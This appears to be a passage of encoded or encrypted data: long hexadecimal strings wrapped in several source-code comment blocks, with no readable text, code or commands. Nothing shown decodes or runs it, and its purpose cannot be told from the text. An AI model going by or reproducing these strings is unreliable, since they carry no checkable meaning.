3f90db90e6ee1c6c57ad3052c85a8cb972fe44305b72861561cb5b0c186f6f82d6f703328b2073c1d2d7ccbacd91fb20eaba7b06582c149943b9c47d94a9163e0ec7f2313948de0627b4520ee7aaf0645211bdb7e4cac05943e052eba5c26014b817db02c7badfb08910205bd44bb43f88ca606035376b8dd1c5967351b6d6b33782f01e2bfaf0ab89e6028b44bf2200e29552ff2ba43fb25a256c5af2f3ccc5bdded7a195320e166479262d6b5aea16efa7bda5828e421bcf5142cb7d701b1570ca2e1a56010efda0a937856f534029d4cc713ce1ebd434c82e53887de19932616d57e0ea1204424ca13ea9b160b0207d626b6dc0b1d8388d958a7296798c4bf239c5feb9e1ba87fa339c8fe4ef6577f17f748f795ca60dde7eaea82626f0d013194fa8db4e109dfc0264cfe52e636e489c85f3329ab452065df895a02adb2b674fb7afab401ad3e72975a94be8a6c21977075f9b86446a417c4b39f47ac5bd9ce3e58f2d564dfd67572c47658b532df4cc754e5925cd71b34daa88606987e0addd1c871c5d73c6d38d22cd427d0623581da34a37071f050bbcf7c22c2bb3392f8bd52aa7a796349e6489a22c8f9dc926fdf1d1accef842124542b7f87d9d7f728789fa9b8f5e54df8fc5331d16795ad8f0d99b4e76eda1bb702a15a03161d2519d1e956790753339f847f56ba552785f46a7831926769a51f7fee2d05e8585636d71574acffe2e613bc05e13abbcc0648a3b065b1668b0577fae1e394*/
/*bbd9ad9ea1a1246c0346735d9724136fdfca9412df336eb4764f82739a4b3c2e480dcfa71c9996555608ab1e3e79e318fe0f015bbfcb8f9f169883371f64d810274cf797ab4c04c91073babfa279f803b188f798ebf0020697fe055f129b7f63a4671035f097547170a2d12581dbd231e2b0f0b05bf5fe2e8bb2adbe03e52abd0c315d7bc3de25fd6d4750154515cbe960cda9f35a12ee2b98aef63179a98b1fc91017b3984b48a4f768ec66d810ee222ff96f691509d56dc91b717ff0edb987becbdaa93a2d9d12f6708e8ac273fd9efc64973d68505556699505a21d78e82eb7f874ff87b81b3eec373f9ec5764be1b054326f6460483cfec33ebf2a91586888eae02a0ebec5e51d564233856d651b15014980cb1db31ee1971e09017273e08ad2a5c6d74e6a29a9014738a325adcf9824afc0a4666aa63c1210f57371dc7c04d13c455d9dd447ca0fab9274d7a6a35aff4bbdb5b3f3e5f4aefb720073b68bcfadd63ffabc3581d822d21a3f8c5cc1eaa5b3568037243b023119ac1209cd7246d4674af07eaecfb5fa0aed1485239973ffe6bd0b51d25493ec1f88dacc0e2087c625d986df90126ed1d0fd0e772a9bf52bd7d77aaa6561c5d68caf57017167a1872d1ebcee5f4eed0e180abe2cd2f19e89b80850934753aa803be93df664a77d8ec3823d685632a731fc1bc6b7397a40359c30a9b3a618314c77f54afbb131abeffa2fb871f94b0c836540bfdd1ece2185f3e5425a2220e2b4e911f854dfdefe0ce694c724e0bb33b381b5d87f2f946d790a3c7bd24292bc13e2eb24d093c2b78706c9a04e73daf2494a704e959d9848568bd48d766a0cd282b185da82f00f54cdc566a58525a99e2b407cb43b98041d6716e39ca3c13c49c0d412144f46f3a746a2c4ff503ba5956e45e08d4d618dc2f17c82056564a73b4b3ab8b3e1ef026d8c52b647584feb18a4572ec17cd8685fbabf3b589867f719362f170fc916716f4dc86f6ae342ff051b6f59dd3ad807f4107abc64ac3935b2d6dad777c49f1882ee864350216c4281de0896b5575a9fe7d0fd1315b7472750f6b731a9ac35055438a96d81d53a25ce57b3c61e7ef550d30aa6e12c73ca2a6f2eb6af1c32b485948bfe17e31dea8d0617d3e2c4faf44876cbb6e320f0eba7bfb431c3ca5d7d46b6649d92a12bf97b3432968e9330e5c135d3873b6f12e9169cee8411074f0f7b5d4b6ca8134297a3c20d5227bef385fe9837c4c6cb14ae8db7b541142d8ae0b7b7012be02c0a32c68c081ebfed51b165bdfe493a54877e42719d6df97ebb8a79bdc2912d266ba9704d7d87dcc6b9ea554afe333c1479a9fe193ad2d796c84b82648c8819cd9848f8399053876a009ba30fb6a848f8bb13c54fbeb859af1df4e9c775968813ad242c7223571de52076be516dcac55500110ea14c6a6d2fd321ddfa13e547fb440ae93974cf40c546568b7b3b8f39fe0856f2339902fb3db1b8787beaa1da7f834733d1105b5a2371f0eb27bd7f4adbcbde2e2ee6a80e6bc0725b1ce2f64c53b90b22e33a602ef4a2c3670567f2ca3ac2d4bbc5498c717e93cee80bd2471379305086c6eb62803b821e4a8e9ce24004d50f55eaf2599af53b1aba1ff50478c623c7393aa1deba5aa6d8a7f452968b7cf8ccc9f5c42bd88ed9e6cce8cb004024d016ec47773642c617496c14b841cb4595dc29a1f5277d85f531d03b9715d2dfd9a70be30fec8c13d58083c411e64a358098384e839bcd9b589fa641ebb1aee900e4c37fd05ec08210f25b4d663cfb537eb180d87a48e5e69216d5fa3f83a836e9b0ea22f544dcc91e99bc82142e1e960000b99c5c8237368b31af1740386b702695cef2dc302472114086846ddcd852de661aa6da6ec1650702977797ee64ba3f3f681cd2b6b65a3fcc337c44318a43945fb968adcc36d4428bc13af35715fe430827a73556e85f1c06066755e64918536978a1c6a3e62e1b4adb01139ec8d9af1b553dd2a06d80f5c8efd4d5c01bfcb03bfeade88807f9b42d4ede0f9485f2f28ff84ed0718c60e7ea0d0f55d737954bf6fc03c26010d8a861382b27a9151276e5edac80f082cc7e43bb35b22da658a8c00802ec9f097f7df71c6da0420fdd6fce551122e7f227d747c6f98f6b400b20026868c54de066284d0c19b1fcb46c2ec97d50c9083f151ec0f3b7802b0e96b4402c2d3789a8e32366a6ed22f5b5233e4de251ba1f8350c536f422b499bf754fe10bcd22cb2d4ca3f868c931206a6429c0484248917434425333abbc20a2824947ee511827e7a915f2e23f6635b8ab99e81f285d4b1253458de89aad9ba47af0304e82d4d9518cad2d264c5f159f2195529f5569c54ea18dda3f27a6c3eb09d4034df0936ef09284ccad890f846c47050a9225a4b41f313249fc3fb3cd439bb7aabcbe205329dea6fd20eebd866bf007d3b425cce019e7d62a80722209101c849d3a8744eec11764d28ed043258a25ae95aa56a4a1864c3f9764d33d8a62770f88f51abda0a0d946db8d13b1d7e7534327b9822f69c5aed26737c96575bce231845a5450af3c63edbf984265ee7b09d802c6566e054427c90c4a4b02114f384d6b2f2acc2bd2d08b1ae5c5d1947c060c4cca7e1c41010f33ff31f90d8f057632a62cfe7216d4332a9b1beac2d50cdd0b2870aef30ea4f1cfb4ccd8365ee468e9f7922891d014c402bb84c95892a045eb813bc8fa0860386e62e7a33a83ec64ca576451f7b1896efbdb53f78bec8841658c22ce995266c2b3c4ccb139fedd68c8a89691a395422d0b10e0f015923547ea7d2e22123e7caad6ce09*/
/*391df01eaae75d8912e9a574f108eb09104257a3ce53c3b34e2bb401a832e0b623e23858efcbbbf8c3edcfdc03311bbda66608af5351e5d10b938c6662d5ecb635afdb1c4a815672d8efb27fba7b5cb9cb745dc23e58961399477b9d82286189f2c047bc96f39fc138761b85845cff447ece91d99c5c654f9fcb3512414b79eb0f33ddc5b5cfd8821cf12f299d05b49b9e37241ca3208a57c9bf3cc311eb2a67d23a8584abe870aba8198ff369d0783eacdeb83ec15c3cfff5a4e8723d84a26403543a9017a091b27b7dbe2cfafb6941902cd40632a4313bc61bc9fbf097ccf76e3a55165c261f9f137b84dc7eb42a4204720e7075a5c75fadd731d79a66e7bc2abb719e744663b0f8d104622f59cb28839d2446720622640c282b74be7d6dd5d8ecca38e484e4e20235764415e4729709c94b2da96758fbdb8f965ccde14aa74d2cc456f466bc687687781cfd9c58812fcd963f43d9a2e26662f4babdc9f733730108fa52c566c6b6af970a6683ed0fac965215ccc82c883ae22d6dc6181939269c9e6f9b2173afe5b44a72f59f5a5b30ac4cff431ceff01aae53f9e830e696b8cb13319fccfccb6f05b60cd8a50cae989a1cf1f45fd9f438aebaef108a3a21ef96a49ad39f836f9a2a7256fd8fef13168404261ced62e98acec27d0f1805bc9425eccab037f8e046ebc8f50eaec786f66182a4cdf9ed4d1c289b17268d7e79ca8481b467790eb40496b9675ea8ed462a43378930cfff2b74e25dbb271a9ce64880588032bc72447acbd05e00e51dc84be20e663ea3be2dfef05344f58407e92cbbfedb2205fe03f8de5379266726dba2a7f2563392b482deebd4736404d574cf1d991a7775e8fffd2de0bebdd2c37be25b0e6bd15fef3c7c60c36b55b170e0ab7e4f135552f511cec7a346410fe7e939f11759a235d34bb6ebe0db19ff2e2810ab97c129d15720ce11bcabae3a603dbfad56bc1480205ee8528f4819e82202500b6009a03f60e23c7ecc5129527c2425e1eaf52e6c2e6d6e6421cdfd6a729759dda87b1fd6331512c88bbb17f701180cd6b78966220036b39cee62bfff8a2811f7095a73bfe15dfd7b77bbe34401ca6900b858810fa35c9625136c7ce5016826c7ece572362519d815eb2225d60713e47d02f62a298fa4c2361f72c803064aeb780b8445197d83a012febc48c17e6b31c606e83a8f085f186d3760c0c90bffb8d61f09f165188fc6674be0f675cf54338169c95d3849a12ff48a3e1ab4b601398ab0fe22c813a832cf4e239613ac3b0c2071f1413c3af52240f8bc5bea3f535555774a17f3b37a4ad4c714d2270c0be186f35cd9e1e1ba9cd0e3d60243c94756fcc444258e9cade54aa35095150208875ea6866b7baf0475731b92faecb45c8b4a22c699caafd148f79e4996f6b8525dbdd59774269ac1454630fa67773c3d0d0ddfad06f6244c27aa88d6182b5aedc0dd431f2217eee4c4f378560c2909d1a8e9f49986a08571a3557b9929cf9c077a85821ae9e536fa7f784611a5a0ed4d144e2893c3846765c4c543919aeea29e32e9574b7e56b75b8389090a9a3c3d5a0f6077ebcbfc98ba7c3e9825912dc6284cecaa2bfc039e3ce8788159c451732527480eb82fcc3d14048b398ff4be94433674635854289a89242c77e89d24d8b100f0d863033521b093ebcdb7182ac41fb63ce95e640186c266d209a8146b715ae9150122323c5987996ab5e06b27fd03bbea507bda5c0cfec9815d1c08c5de8320634ad8261789714f6c66fccc7fc305e5a08e4e1a57f77c5479b9380555f45be33acbe758c49c0de0198d6316b479e76a48fbcc732d8c4bb97a148cfa206ebd21af0aefeedd25f91cfdcaa9c837c2856065ef72437e5fb4117b70941de43672fe3569522ec8955521147038fe6e0b1d28a3c22f034762e41240746c4b7d2bae11ac3fbddd623d8bd725ec6d517477bbcb882e8d4fa2aec004da44cc66ac66b38015911de1aaebe0c3245b8b4344367f889362a9115259730ae2c8016414cdd7926d34a459962bbb0864be80310a617980e65609f5f0f751e7ab298dbaa129dcf993236d5b2a83f1e00542c17c3da00ce9caa7472e7a0faa1914aaafe511084981db2195110953fb6dbdaeb05933a3fd08aeff643bfdcccfdfb0efeb42b405bce1f2a3e83adb857781f9700e6e49c88077860c255aaa3a03878db20c370fd34a1e0b36a30a2aeb651d73578fe4c3a1c8ea1253b2bc1b64feffe120a8475db55efb4e019a40c4692ec091991d72c306ba10c9dcdf916e3fad142672853073aa57b188765bf991073958bef6963e5fdf8fad1d114ebe35b54462ab8a83bfaf39498e13917c736b0b3c9b8d647608ad3af0bb7a6ba845101a5d62357eaae23b51398963966a4621e4eaa0dd9ee268e76f9a44561ae654a9145442e7ee5c84229fec8baa3262bf2f8dffdbd9beb9567a67b7ad1232c27c4d6ed5c7afbe32766df97881c555b0c338ac72001c26f21a3852ec5578491027cf9937f7afba7a1bed58201465f31e70ce2bc45145ad16f3c497e14695f6c6246a6dc6731771722c4c9d08e552aaa45010c0366c0482df762607b5ed94328c3bef6216c7cec866e9a2fbe6778dbefe2acb48c8e5fb6968b5450fa98540edb95c583201a16a43db7117405cb19d98653e7092dc7f22e3f331375907b97da5e8fd1d0b4418b032db062daebe6286b8a350fa86b3454cf47a8e4a78c5169d24ddf8fb3ee7cb28e8f917c88fe44042707f6e97d5c0f262663a8f7b131bbaafa9d632edc1bae2b7bb78305ba5e4174b1629fb8a1482e403cc948c59f665*/
/*0c8e23b85e08afa9b44d6aede5ff972a4502e797d8f88793427909fc4636616032581185d6889186ff88d3a3063f0cdb205ba4da4e084a06f9a5a16daf572cd930f3c00fbe23f006a911481527ee81493b8519bc49c7c89dad61c1f9da696968b68e75e07c58076901977546f3afbd5513d67bb27998446d2b4130ac3d4c87c5e7622686fd0b7f1566a4c10dab90ccbdbbb6ffdd3106391c0fdd37966bd3a2e9933917f39ae0bdb9f1b2f1f510280fc935e13fb6a49b66a83fc20f524881ba4db3678f14fbaf5e33beb6bfda5addcad0b7d507e4cb6603346852feeed591cbee6082a0c2efd701eaeb41950d3fc8fb12e69d15d88354db4da0a5431c0c71cfb94aa3a58ca007d772f9903d38f654fd1befc165c28bf44bcd129189e18cf54084adef87932ee88f3b263b0d2010ccbc3852565b5315631a5082272c88f446cb2de28e2aef7ad522723bf70f6cbebe78f469d8e7cfcde50bc60628a1f50ce6440acf73fdb025dfe2f9edb50920a3d249961c45003edaadaaef3dd816c5ec9a1d3a763d0825f8e4d5791454ee6cf8d999e76294f597826718621d61f90cb2265da525626a1192c06a3a950a5dfb68cf0ee85d474088211fd3e18870ad6ec8657e4aea9b3b2cf71054b704e2b4fe60463b4c2bb0553fd60400a29d94f04658ec2ad3ffb0c2a41b2a0499b03606d99d4ecbb0b96ccbdfab51bbd29e61f773dfc750d5f8cbae771ce36e02190db1080f54805a358e3ca64fb99b4b61ade029ef176785fcf41d10bc2b236d64c015ff8801203e9fc3ae0b6323fa0743866ff2c08bbbd9eabebdec2ba1e2d171d1daf671b611cac8722864923df932575a01b9b287890d955c47b406adef8cf33446a47c62b5d92390b9858d0e5816b950087b0a3a4d374ff293efd96f3437eb4d579ad5bec91c42d34714ee5c350649a4fc4bda41700f47cce84c2773292c14de405556b043ac4e79a6c1a172d298c9cc6ee7deb98d9fe2470af1dad8cb0dc2ba49ffce017b6e2a36d6d3ce45fd22af4e8fa68cd7044a81a49f55bb1a8cc1c3efcab243b87e2bc058f42a7e287f90f21b7258e0d2003577dddb7f6e32b4df6839dbcd6ae5296a0ec5504a5640071f5ffb0b4d8eec4aba5fcdf0d4e42a8ddabe92d8f5ff7eb02c9e0264c6b40c23a385f230e3d86b13431527f3e9b01ca94b510318bcb2eceae59cc33e81fd8c4b11ded63eaa91161917a15a7965034c7768e562c2da5088d4bf9c639ab2f05dfed426c363048bd354bf1f4ed8e485e9faf1284cbe36c34e92306684ec228958af6e71e32ebdbd161d4f8eaaebd94927e8aae276b938492faa8e8a4070891b2797f9dfccea4a8fe3199dace9fa25eff64f2e3401886752ad7f2af0e2bf60bd05077880164456c87c2290144dfa71f904778afd88be264222d8cf1d256c689b2aafc50d6d40ea98b3fc60f3b34d71fc1d56612c43f64d871f94c78bc7431cbd9bdc71adf3ec1fa1a06060ae21125f71632863bb81ad9c6ea0b3d30e661559519a64c91bbc315b5b712226a0aa354c4411234d96571f13bc577edf22a56fb09a53228e098934211211a8b3b3534a75c8686244ce5a5383b6789ae2b9a2e48d0b0529e703b68612bb1ecbfeef7649ea3e653ff3c941bf8caf42b36a4f05c6da044a58f84801483f90691580142aa3035fafc8473cb6682b92a77744ec65dedffe09b3d33d57b3563dd6c344b6f2848d565c3eb74d204cb1473a905bfebf154f237d14731f67a5852e9f44840393331bb6669efbecd3d9a532e9c2f6874ead97d15873c2ca9491c2bc1a1fdf3389bf60d2fdd2fdecc988421c41023e11498ed6a4a46dab381183ece85ced6e2cff1ee41f9a72a67ffde0cbc455f2bec923dedebefd91b6fc4e21d760b9ccc5eac8f737c70b96ecdde0e9f3371c0c9fabaf088afcfdba2cee01f1a55a7a178d6408ed4b73f7ecf444a500c7f7648c70ea0e34cd7af46e996bc34afd0fb27c9f6d52eb3e59c38c1e3e36f8648285afc8423da1350dd8c4899837bc89638da7780c4535e91eb9b396ab70e301c6e13982db1cae2260f5635782480b17072eb4557821f5afdaf4c96bef6fb772140ae22cce7010b46738832527d89033c1f50a726e3a766dbfa122643fbd72d96d05bf393558fdbc6ff5ef401f937a974308ba844d30794a3dbd860ec20782fba743c65b43a858dcf2c7f10457b2b171e838dd6faa6acbac7c6921a9653ea51346a0c368f4920b5795516ab659643be2c78b9f7d65cc121604d08e757c513222cee7ca087925092ffcde7351dc98b53ac867b2fe2a979a9563cc6ba6fda3df44165c5715cce1bd39d05325459a4cdbaed5951bf24b55c455116c65ac0739549321155035c37f0d1ff47dee56f3c31b3476cc79b16815c334c6f10b0ba5dd7d2d435a41eb9ba19dc5bbce8fe9a5cdf720f56532b508b86612eb99386bfad5cad5385bbf8f854df7aa67b0085f5436e95d68ff09aae068c261a5d4b79339991adc6b0ba81d1f999c9fb76fce8eee56ee803f0da1b563c4a651b0f3ee284d5b758f3022ab4e23bfa363a966005c892bcfcc69aa94d15c15375111a835f878499a69b6f4136d783c395d90c138058562e6059f08790bd9d9f99e2c73e1202b9dccc18545576a280c55b3ed1d034a376eb51fd973010c52c05d1e19bf5838d30adf4510373c96372aa30213bfe3d78eba0cd219c31f6645ccd03d7e8399a37a4660d718d0427aa90c173acd253876ff9d83ae8e7c65cf433bd7c8a27c5f0fbdf0826b74b2f528ec38b6dc3f220d33a6bff833509057998cb68c8f742c8b7f93b0fd3408ede852*/
/*bc8535502735cfc6f2fe84f472ca497052f39e9bcbdaf274f72aa4a64a6b74105c54241f75c958de1b9b50aa85bb95876fdb0fb7d285724c95672ba41bf54d73550b6a86ec63c8c6c6441d6ef811c5677f2f2250295a561de84860cc51e1c65b32ec15b2682f55ccf629a466f5a9735f4dc65f4c0109401355e9ff2c1e695c63720f3d4ff71407286e772d35b28f987de1a57d96feb21af8dd8a5da7a844b98cdc3989e6809f0cda6b4fc4c06fdca47e637ecc6481db07342f61c55571717bc498f6427b4140bf30dbfb494ef8fbf4f865b2528311ac0083f409ad713d9977e1f55fe4e206cc329436f73d10d9ae104b7443e96f80021c3d531901a28948a87b2a996848e5c1580f1365bc47751389a0c841f1c1ab5dce7b32988cae4202768a40c27240b36461c56ac42ba5bc13adefc2ee402cbb46fb2e61e602c47cd61f6cc901ed8aeec850a653b2146a0fc6d462bdf880657e8173aca596b1842cf0ce8741254cbd7374718de8c3cff9be9b91288228f2e1c6ba759d051e0b18e7b2a38b33b7425256136c572bec7b76841bb255471ba0a7ef60bf4284345f24c58342b4f534e0a15ec87c47fba1852f533abb2b89e14c4eacc4072317373c6afc7554370ee9210c55d543bfa2e8ef855c0b62143478fc29dd2bc3bae631eb4a89493dd152c16db9b49a071ee2cb86b8023d652b35e9349ffc4c2acacfda725249b5fe035592fa4f4deee3dd1a5475e9f19f422ac2649cfc287ded9bae6bf31b17bed0d5cddb21087c179710003bf4e64b7205ad170061d571d799c026397d351d4cc390724dc995e04656fb7964539fad6f88c292265b94f4963e93110cf9c8c79087d6b3c80a324e98ae24d45283202bc274ae2b347e46830b70640c4dc32c364e808692be44be20b029150f427656cef68cc453c69601790e61f1dfe8113d811081590553d7df85c436a0bfac4c24d56aac40696b3f6ead0ec4c74926f3f96e232d2ca54fcdb041a316a362670f8b7902a214c9ca21956d7a17248fdd4de35648b167b56927f9d3bb335b86c084ecc9ac14c8338d9ced8803830c598093a246faa6f73cacf294253d89e5ba5b0861cdfbcfc090925755fff8d9e32db2cb7472136d86e4458ed5beda09c4795c781c17bae05f8b9dc8cd5cd5bff2e91d502dfe31d6196a9ea65c4a75c2cb62fdf8c038aacf212372394cef2550b717d53435c1eb1bd98ca4411569b0207339c12ea955e6d25e70b6f4a9481ae033e1ae10d66c2e2b63f32196cc8d2fdc29be5d5275e035a96965e3afc76b852cdea5e07078492f54d74522464ce70ec7ed4ff5f2ee337c47b4c9b569c9bc38b0edc697ca5218e09eeff2198187d4e2ce37df2a551bb03e5d2eae492ddb33ebb717fd8666684066dc3d4a404d55c35ceb21f12d63d9bfce0533b7d27b362d0fc95c6a65ba07e4c86058291e0c9bddb37ff58aced270b9ef479a47bbb7f28cc24f7d1d96d3c4444fc32e13ccc339fb1fbaea043dbd3149e00bdfb1a2610c2783f88f509549bea6d4775c124bedfb64a361dafa6fce8e577f681700500e00343501b396820a83b6714d8cbe033b352b08bc3483c47b69694cee0e4b13adef2de73641b7c7e74204a7970e875b4906bce1fba00c02b0feb1a47e3aae4ba56d27980278b3524e684be0d7477b328c1c4cb8d956ddba87c5dd3ae09393038515bb89ef5015903c024aaa19de4093228880a1ea398667bd5efc31621dd66e92d2d1217298e5cb9eaa99adc39af4ca0235b44d3d1566b8b9f3b1752409e7b8036e97568ec1433d61f32fd8afe7a83e1ff4e0bed294976586d654e2215e22a5d4489d8e8f5ebbb233a8a0f2c8bb695bc2e7faa79a52ca4fc5389e7b2fdfb915c81239e13f87be5d8b2bc8d290975c2d4529bc9db5b38158306d2811bf2fea7631749392e2a4c8313b3bd67e462df79a4d1cdb249762bfa8ff8c3c8224be2445681aa3f1b074812d9c921d75e7ca8f9506a85f2f2ca62019b31ccb13f171b51db05b8c15a9d5b08707d292694ec9e6cdf5e3cf5fde4f1664534877778a8c5b40a7807b54be6d78a7484a47683642bd961c3b30cfde3863e95e1797f0d54bcb25c8630c62e054e9baea182a7991bcf4d18e9beb625a961ae3bb32d1ce7149a5ada0a1c1164389f566368c21777a47dd5f1590d1737a8dce45b57621f14ec52970ad561e6bac65cc36ed1dbb6eca7c6845518e5a4d012143d6b5e1afb07d1301a40d46615af4cd5a7e70e33fba6418db5e784c2fe7dc2cd5682def44f629bfe4e6fecf5f60a8fd91bffa547a28c99cd4b207d474849a87446879aca7048d0d45ad95d198d3f036e5393fdc2cc4b68467f386786a3359da492498c4fd79d657bb83d3adf042af56181c8f86ddd78e6e4d33b7cc5710ff09e2b3bd1ea409dc79facf9f7c8975271a1cfefdce8979c856b680e352642f291b5dfe4d80870f09278443b33cbb763cd0d9f5b0c6697bddd0bca7b3e2f10f93c058f1fe92c5ad8a80dfc3906d500f400616dd188e38c6764df7f3cdfb045c579a29fe1b83329cab0f2f076616f400c35cf96d9f446ae39f129adc6eacec25a3b9d236407ef8cb7ce3cd1c0e89e83771058e6d91b12a6e86051adec4707c46c7611d5fee10919915b863df92a42037f0691405ff5ad7ca355e6808ed3d59d39f8cb8c079946fba050d98b49af7ce73196e72a6d788509d74c12361e36b0e53092450d7ccc9a59488c991f48c551bc03a9585f2e297e70bc7a3ae7a8712b17809e0bbcd06cab36d62520e89a653c34a51253dea0bfee38fce36fb4c14a9945f6c8292affb3894ff9bda*/
/*e1a958ba13059392f6d4ed8e6ea08ec3240b5dfe277c6333a32486d17c49091294c733174deff0b4e4ed1debfd73e56c14841a6b57a0f2fe33a07d5cf75050368a1dc345974fcb5e9bdd2a0878408ad993cb58d437de6f047f863e847fd5482d69ef5eeac3a45cd15783acf22fc133cd732497161cd9094809dbb49fc6e59a21c1419ec276633f92f39cf77de761509a5628865b6a48b7c9d712973856006a2167f25198f5833b85260fc4c9d96e8cfac7e0c6ca23d58e882e7f63dfa3511db9cda53dd10d458b3d6421e3d9cd286cf4edad3da3ff9044d3dff4aa9ae674eabc7fe040cfcb96a788ee786a490a48725f32c13ac8b684bdf1574d0c08952cb7b609841301b9631135c0e1119503f73c5488fc971dd947f5eadc55c89bcea731d959bf1a96e080928659bff87b0f2b0e453f24dd3055464b3787034498d7cbaffbf9bd9f3313a8f37a317aae77cc3031eb2b27922195fc3eb6856e53c6fe3f47bd7647d11d810a7950fa849be3471b78b8e4359d52844de2809048055cf69e5aecdaeec7a7582a22e0ec4965ae2d441ed5851e418ef50a0308d941336ad139d4779fe36bfa9e6739c8cdcaf9463d2beda5002ce924491d630869fcd20541fcec9b9c5aba6c642d8b914cbfff94d83104deda46f0d3db58ebe6f82674d6d50d7acfda75d1ee6bf61fba581361a529ae9797493ba5540c6ceb2ae65ed20d982dd3c29f8ae42edb16a1f24a3615a55255fa780b8e5a8bc7441eb4f11d4322b9b0623ae4de566ca73ec1c5f3d174253c0c03e13e6ab1c66eafc4a152a99a455970040a428dc273d6eb24ece369d97ff2106f346baae6d8231826bf36d2ea9b93fd08216c59eb28f18fa4712c30ea10733f2b65101877a3e8b8adc57e887090cec8d5af06ce3bbe7a38c4f4b3ceda62026e622c226ba3241911aba5fc632e3c91032ee21ca096935d053f137baf22abf9872545d810f6ebdf12498b1d5d15530d2ed2879df5a1e97adb6d7b0921a121e93dfd3c25af177087fee0e48ec0cf393335948137bea0a3797cca626541cf42bf8030a77b0dac347ef94c7ba6867fc35d61db6ab3966bc8bd4e9fd5d081870e1b422aca2f33d61a8848a85dfcb9f2bc1f9062114825121e4faed8f9949f0cc1f9a0f37a0ff57b35d77d998899e036cb84afe22fdab21768740ec2e9ac4999982f1bc5922e0d47c69ecd8d59ae44b1de920d08d9d2b1be5de504c2b9ef9b39a05302339293debc8f9b43569df03e941fcaf76891abe8b4bd8729dc08635dd76e1c4052071db7d6189505e995c45fe9201f5c16a5eced9b61dd1ee1e51d6b9d6cee947ff29290d0a19b81e7eae1d2303841aa54f14b76bb6f104bda87f4ce9a5c21b0ba100ef2257c679c399701f2f18d5c92c0d67e5afc5e099c99c9a341232bcb42ab140509c8040c46ba3c8616b72f67abdda5ccdef5aea87de68bcaf7d8903d4764a7c0bdcc6cace7164327b863bbbe766552c784de45e06f04d2ef84e1d830caa6907e85d6d7e81af9b27a4af8ce12db41db2c39dbdbda2a9a75b635514b391d7b7d274d9d8e77ffebe06f8bc1ddd8262712778d09c5b9c51470202b923883e0c2985706a12b67eb5f03c110d95024233b69b394a6ebf19d0442c9880986881f919c7e8dea75a95c0354350b7cc721d86e149fc6827020b65a16d5c72dd697edbe87f5d0489c0b0b5c48f76f92be443b476e3bd424d381610f740d331102768d40ce0632723533240719ae8ae36638e6b4c0a2e15735666d02e9963f2ea137d30642832117a31f0f66b79f7189daf70c3c26265c65ec8beb03f8022471d95411d665e14e312a72cab5ee5cce31e7842e3731656f22d752b4ca458f7d20e0f015d42ab89e391c881b86253e8fd3c4760e2595f06a91b1538b37cc07dca2182f330e77d82ae6f78edc987d42b5864c5ca5e507a5d31dcd234717886ab0a7cb43dede50890beb0bac0912dafa69fdcbd4ef848d74061047e3f3b635cd3c5b5e196851e0586cc83fa6aa7033474fcebc556cc1099086269f177267a10886584676ffa8ff3ceaaab19485a9d05064704a0a589d85e92db084c89aa9d1ed92176cadd81eba338383da4227cce1d6dffbbc8015828f03885b52c51cd30ecf74ce226e8d21a64051368da7f6093970c0c2865b83d560d24e61251e24dc246eca8bae614a27d202c03862bd78f0de5dd8eb4ac60cc4ab43afca1d3c86584c2f689f8196d27141afeffe8f398b190860349079c3c62098acb3969967786c12326f88c28a0ad1f1832e24031dde5f6c9a34efc140c52c99f7eee4eb1ee6c63717a56a0fdbe8c10df219233489705b5151bf99235bbdf1aa5bac1043a9f2b4017943398b692fc259b3df1180f8aa0892b2872e11209a7e6a1af18d867a29e4add0fb88b33b09b7bafba08c4020b5b18e6f5a317193e1a30ed7cb2cf2f5dcdb99280e4b445f72f4455feb6ad00c6903ba80a0ba3d98042d7690389082c87b0ef7dd2f4674d887ec0b0887b872f2cd5e037444a442bffdecf147a9436a20fabcf36d7ce73512cbf19d2f6f74b51de808ac12ce36072f350b7e4d7e78cc1a4e4c3e02bd82c06edbdafcea6ea3a546e8bf864132196710f1114c62ac9eaffbd7d22f65ac92fab53faddfda1ad6ee01c8ddf57608dd3d24dfc06a1746259035f6ab9e1115412cf883c1d6034a8f7b1fc0dcc387f2356d9d4d340323d5a5d17706e5ad44bf001e4c40db35b77a3fbf22b35df90f54991cf30af1dc0627bdbf1da5ec45a71aa0fac843ecd1241c0d8f0134387ac7c895c85340af747574094664c7665bd6649e49a6efbc9e*/
/*c31e1b3e82850ceb1885641c1389a9d8819e7f6256aa7cd0eb55839f2fc2dce9f71f11f0f11edb060fdf2a9177d78f0de9664ea33f93d2c7db7182ef1291372029c75e3d1db8e34034971266276306478bd2c8be000b50a9113e50951086f8fe1e3c7892bb2622f0a179c323a616a7517d1fd5be750c66f985982d504f81853e1bbd527f4e13cfee03343f545716e7617353cf78cc2023d94ca3fc9e7f648c49bc78fcd0678e585641c655429941df2019faa8c09a6beeb5f986f2db0601b868fa95fab1d23870859141af100a2f701f3a08a3b41e6dab0a5eaf66b583ffaaadaceab0c271d54ca0572e91d21df4137309f3902cb35ee844aba28ba0386878aa965ee75a89a28db57a7dc725203bb8f2ff5c1fab97b4afb94164ef8793ddb278d9ec84441f200af80a3107939f8a725a01c7569ed112ca39c8a4c06ff706a3d52e40128cd85e9d021e675da71b52182280c42b21273af2b8e678d9e25cd9d19284b279ead7a4552d338ad0393d1740c1978a1bdbd0764c96b265a1af05acf251e30d1ca47493c03e1f2f7a02aa73be8f33ac100008ee431420513b8147a2fe6043debc992f0c437201844292def6f77eca3037951c290b0d5404539f934a897e651e23e0db757fd5e46e212317c3fc556829c368fb7779af8922f53ea614a49a898e92b91872818fd0e68ded9413bf504f2d1d2fda838af3ea6388674d6ec885016806b5fbd97c8840b566d570e977f5514c097a8bbdf18a0d64a98fa233d0071f44063191d6999195f2106e5ebf40bfa9b3ab4dd72694da308f743ddf3a0b3735f307978f96bd17f381b0285e98e049b8d004b487e6ecab5b2923ddabb131d0bff01722dde9c299e53813054349094eeefcb956f3a3c6bdc8ba9e8f7a39f5483c7a9901192d1e3f79c00b906df6da7c45ffbd3b70210c72b5d6d872b4589f34c93c4597c38e9c123470a009ebf64bad0e40be5adba8c689e9c3f0e9129899febe9b05e7f46d765349332c483cac34ff5f18554b64f0a62a54d79c1f9bc66581f81cd45c1d13cb36e99d5ef087d3f3c23b7d1a65e74030434d9d6743c2fee81feff0a4121b56a04e305bcec8983b09ea609743ee685f2d6a9bf2fbe3e38a2618282e425c4ac2eb146120e9c45a457a8b64f28f086e9f5d5efb81e07a1894f4183c5c05d9d8fde7200a2a11a58004c8f581bcffedbb92b95886829d33dbf791b31d900ac054b3e71fb8b1c0291d3b80fc8f3d5c0225fb1758189b796cc1c4eeab623996bb8e0424d7de7f3a5b44bb05a9d3f9c58becce52668811ca0e3e56cd69edf75a2b1bcece62532238a7a4466d86c93edb6f784eccd7dee1590